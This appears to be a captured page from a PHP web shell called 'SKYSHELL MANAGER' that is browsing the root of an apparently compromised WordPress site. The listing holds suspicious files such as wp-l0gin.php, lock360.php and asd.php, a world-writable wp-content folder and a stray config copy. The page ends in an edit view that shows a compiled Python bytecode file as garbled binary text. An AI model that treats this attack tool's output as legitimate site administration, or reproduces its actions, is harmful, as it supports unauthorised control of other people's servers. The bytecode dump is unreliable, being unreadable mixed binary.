📁
ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ
PHP v8.3.31
Create
Create
Path:
root
/
www
/
wwwroot
/
23winw.org
/
Name
Size
Perm
Actions
📁
seo
-
0755
🗑️
🏷️
🔒
📁
well-known
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.user.ini
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
32.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
24.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
asd.php
143.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
connects.php
4.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
css
1.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dataxy.php
37.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
169.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
14.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ioxi-o.php
966.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kk.php
3.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
53.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moddofuns.php
5.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
161.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
siteheads.php
168.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
thoms.php
399.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
5.02 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php..
3.56 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
51.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-sign.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
70.92 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: fixer_util.cpython-310.pyc
o ��bcf; � @ s� d Z ddlmZ ddlmZmZ ddlmZ ddl m Z dd� Z dd � Z d d � Z d d � ZdNdd�Zdd� Zdd� Zdd� Ze � e � fdd�ZdOdd�Zdd � Zd d � ZdNd d �Zd!d"� ZdNd#d$�ZdNd%d&�Zd'd(� Zd)d*� Z d+d,� Z d-d.� Z d/d0� Z h d1�Z d2d3� Z!d4a"d5a#d6a$d7a%d8d9� Z&d:d;� Z'd<d=� Z(d>d?� Z)d@dA� Z*dBdC� Z+dDdE� Z,dFdG� Z-ej.ej/hZ0dNdHdI�Z1ej/ej.ej2hZ3dJdK� Z4dNdLdM�Z5dS )Pz1Utility functions, node construction macros, etc.� )�token)�Leaf�Node)�python_symbols)�patcompc C s t tj| ttjd�|g�S )N�=)r �syms�argumentr r �EQUAL)�keyword�value� r �)/usr/lib/python3.10/lib2to3/fixer_util.py� KeywordArg s �r c C � t tjd�S )N�()r r �LPARr r r r �LParen � r c C r )N�))r r �RPARr r r r �RParen r r c C sH t | t�s| g} t |t�sd|_|g}ttj| ttjddd�g | �S )z Build an assignment statement� r ��prefix) � isinstance�listr r r �atomr r r )�target�sourcer r r �Assign s �r Nc C � t tj| |d�S )zReturn a NAME leafr )r r �NAME)�namer r r r �Name$ � r$ c C s | t tjt� |g�gS )zA node tuple for obj.attr)r r �trailer�Dot)�obj�attrr r r �Attr( s r* c C r )z A comma leaf�,)r r �COMMAr r r r �Comma, � r- c C r )zA period (.) leaf�.)r r �DOTr r r r r' 0 r. r' c C s4 t tj|�� |�� g�}| r|�dt tj| �� |S )z-A parenthesised argument list, used by Call()r )r r r& �clone� insert_child�arglist)�args�lparen�rparen�noder r r �ArgList4 s r8 c C s& t tj| t|�g�}|dur||_|S )zA function callN)r r �powerr8 r )� func_namer4 r r7 r r r �Call; s r; c C r )zA newline literal� �r r �NEWLINEr r r r �NewlineB r. r? c C r )z A blank line� r= r r r r � BlankLineF r. rA c C r! )Nr )r r �NUMBER)�nr r r r �NumberJ s rD c C s" t tjttjd�| ttjd�g�S )z A numeric or string subscript�[�])r r r& r r �LBRACE�RBRACE)� index_noder r r � SubscriptM s �rJ c C r! )z A string leafr )r r �STRING)�stringr r r r �StringS r% rM c C s� d| _ d|_ d|_ ttjd�}d|_ ttjd�}d|_ ||||g}|r:d|_ ttjd�}d|_ |�ttj||g�� ttj| ttj |�g�}ttj ttj d�|ttj d�g�S )zuA list comprehension of the form [xp for fp in it if test]. If test is None, the "if test" part is omitted. r@ r �for�in�ifrE rF ) r r r r" �appendr r �comp_if� listmaker�comp_forr rG rH ) �xp�fp�it�test�for_leaf�in_leaf� inner_args�if_leaf�innerr r r �ListCompW s( ��r^ c C sV |D ]}|� � qttjd�ttj| dd�ttjddd�ttj|�g}ttj|�}|S )zO Return an import statement in the form: from package import name_leafs�fromr r �import)�remover r r" r r �import_as_names� import_from)� package_name� name_leafs�leaf�children�impr r r � FromImporto s � ri c C s� |d � � }|jtjkr|� � }n ttj|� � g�}|d }|r'dd� |D �}ttjtt|d �t|d ��ttj|d � � ||d � � g�g | �}| j |_ |S ) zfReturns an import statement and calls a method of the module: import module module.name()r( �afterc S s g | ]}|� � �qS r )r1 )�.0rC r r r � <listcomp>� s z!ImportAndCall.<locals>.<listcomp>� r �lpar�rpar) r1 �typer r3 r r9 r* r$ r& r )r7 �results�namesr( � newarglistrj �newr r r � ImportAndCall� s* �����ru c C s� t | t�r| jt� t� gkrdS t | t�oCt| j�dkoCt | jd t�oCt | jd t�oCt | jd t�oC| jd jdkoC| jd jdkS )z(Does the node represent a tuple literal?T� rm r � r r )r r rg r r �lenr r �r7 r r r �is_tuple� s ������rz c C sX t | t�o+t| j�dko+t | jd t�o+t | jd t�o+| jd jdko+| jd jdkS )z'Does the node represent a list literal?r rm ���rE rF )r r rx rg r r ry r r r �is_list� s �����r| c C s t tjt� | t� g�S �N)r r r r r ry r r r � parenthesize� s r~ > �all�any�max�min�set�sumr �tuple�sorted� enumeratec c s, � t | |�}|r|V t ||�}|sdS dS )al Follow an attribute chain. If you have a chain of objects where a.foo -> b, b.foo-> c, etc, use this to iterate over all objects in the chain. Iteration is terminated by getattr(x, attr) is None. Args: obj: the starting object attr: the name of the chaining attribute Yields: Each successive object in the chain. N)�getattr)r( r) �nextr r r � attr_chain� s � �r� zefor_stmt< 'for' any 'in' node=any ':' any* > | comp_for< 'for' any 'in' node=any any* > z� power< ( 'iter' | 'list' | 'tuple' | 'sorted' | 'set' | 'sum' | 'any' | 'all' | 'enumerate' | (any* trailer< '.' 'join' >) ) trailer< '(' node=any ')' > any* > z` power< ( 'sorted' | 'enumerate' ) trailer< '(' arglist<node=any any*> ')' > any* > Fc C sp t st�t�at�t�at�t�ada tttg}t|t| d��D ]\}}i }|�||�r5|d | u r5 dS q dS )a Returns true if node is in an environment where all that is required of it is being iterable (ie, it doesn't matter if it returns a list or an iterator). See test_map_nochange in test_fixers.py for some examples and tests. T�parentr7 F) � pats_builtr �compile_pattern�p0�p1�p2�zipr� �match)r7 �patterns�patternr� rq r r r �in_special_context� s �r� c C s� | j }|dur|jtjkrdS | j}|jtjtjfv r dS |jtjkr,|j d | u r,dS |jtj ksI|jtj krK|durB|jtj ksI|j d | u rKdS dS )zG Check that something isn't an attribute or function name etc. NFrm T) � prev_siblingrp r r0 r� r �funcdef�classdef� expr_stmtrg � parameters� typedargslistr, )r7 �prevr� r r r �is_probably_builtin� s r� c C sP | dur&| j tjkr t| j�dkr | jd }|j tjkr |jS | j} | dusdS )z Find the indentation of *node*.Nrw r r@ ) rp r �suiterx rg r �INDENTr r� )r7 �indentr r r �find_indentation s �r� c C s> | j tjkr| S | �� } | jd }| _ttj| g�}||_|S r} )rp r r� r1 r� r )r7 r� r� r r r � make_suite s r� c C s. | j tjkr| j} | std��| j tjks| S )z Find the top level namespace.z,root found before file_input node was found.)rp r � file_inputr� � ValueErrorry r r r � find_root& s �r� c C s t |t|�| �}t|�S )z� Returns true if name is imported from package at the top level of the tree which node belongs to. To cover the case of an import like 'import foo', use None for the package and 'foo' for the name. )� find_bindingr� �bool)�packager# r7 �bindingr r r �does_tree_import/ s r� c C s | j tjtjfv S )z0Returns true if the node is an import statement.)rp r � import_namerc ry r r r � is_import7 s r� c C s* dd� }t |�}t| ||�rdS d }}t|j�D ]!\}}||�s"qt|j|d� �D ] \}}||�s5 nq+|| } |dkrat|j�D ] \}}|jtjkr`|jr`|jd jtjkr`|d } nqD| du rxt tj t tj d�t tj |dd�g�} n t | t tj |dd�g�} | t� g} |�|t tj| �� dS ) z\ Works like `does_tree_import` but adds an import statement if it was not imported. c S s | j tjko| jot| jd �S )Nrm )rp r � simple_stmtrg r� ry r r r �is_import_stmt> s �z$touch_import.<locals>.is_import_stmtNrm r r` r r )r� r� r� rg rp r r� r rK r r� r r" ri r? r2 ) r� r# r7 r� �root� insert_pos�offset�idx�node2�import_rg r r r � touch_import; s: �� � r� c C s� |j D ]�}d}|jtjkr)t| |j d �r| S t| t|j d �|�}|r(|}n�|jtjtjfv rBt| t|j d �|�}|rA|}nw|jtj kr�t| t|j d �|�}|rX|}nat |j dd� �D ] \}}|jt j kr�|j dkr�t| t|j |d �|�}|r�|}qan6|jtv r�|j d j | kr�|}n&t|| |�r�|}n |jtjkr�t| ||�}n|jtjkr�t| |j d �r�|}|r�|s�| S t|�r�| S qdS ) z� Returns the node which binds variable name, otherwise None. If optional argument package is supplied, only imports will be returned. See test cases for examples.Nr r{ rw rv �:� rm )rg rp r �for_stmt�_findr� r� �if_stmt� while_stmt�try_stmtr� r �COLONr � _def_syms�_is_import_bindingr� r� r� )r# r7 r� �child�retrC �i�kidr r r r� i sL �� �� �r� c C sV |g}|r)|� � }|jdkr|jtvr|�|j� n |jtjkr'|j| kr'|S |sd S )N� )�poprp � _block_syms�extendrg r r" r )r# r7 �nodesr r r r� � s �r� c C s� | j tjkrf|sf| jd }|j tjkr=|jD ]$}|j tjkr+|jd j|kr*| S q|j tjkr:|j|kr:| S qdS |j tjkrW|jd }|j tjkrU|j|krU| S dS |j tjkrd|j|krd| S dS | j tj kr�|r{t | jd �� � |kr{dS | jd }|r�t d|�r�dS |j tj kr�t ||�r�| S |j tjkr�|jd }|j tjkr�|j|kr�| S dS |j tjkr�|j|kr�| S |r�|j tjkr�| S dS )z� Will return node if node will import name, or node will import * from package. None is returned otherwise. See test cases for examples. r rw r{ Nrv �as)rp r r� rg �dotted_as_names�dotted_as_namer r r" rc �str�stripr� rb �import_as_name�STAR)r7 r# r� rh r� �lastrC r r r r� � sL �� � � � �r� r} )NN)6�__doc__�pgen2r �pytreer r �pygramr r r@ r r r r r r$ r* r- r' r8 r; r? rA rD rJ rM r^ ri ru rz r| r~ �consuming_callsr� r� r� r� r� r� r� r� r� r� r� r� r� r� r� r� r� r& r� r� r� r r r r �<module> sZ - *
Save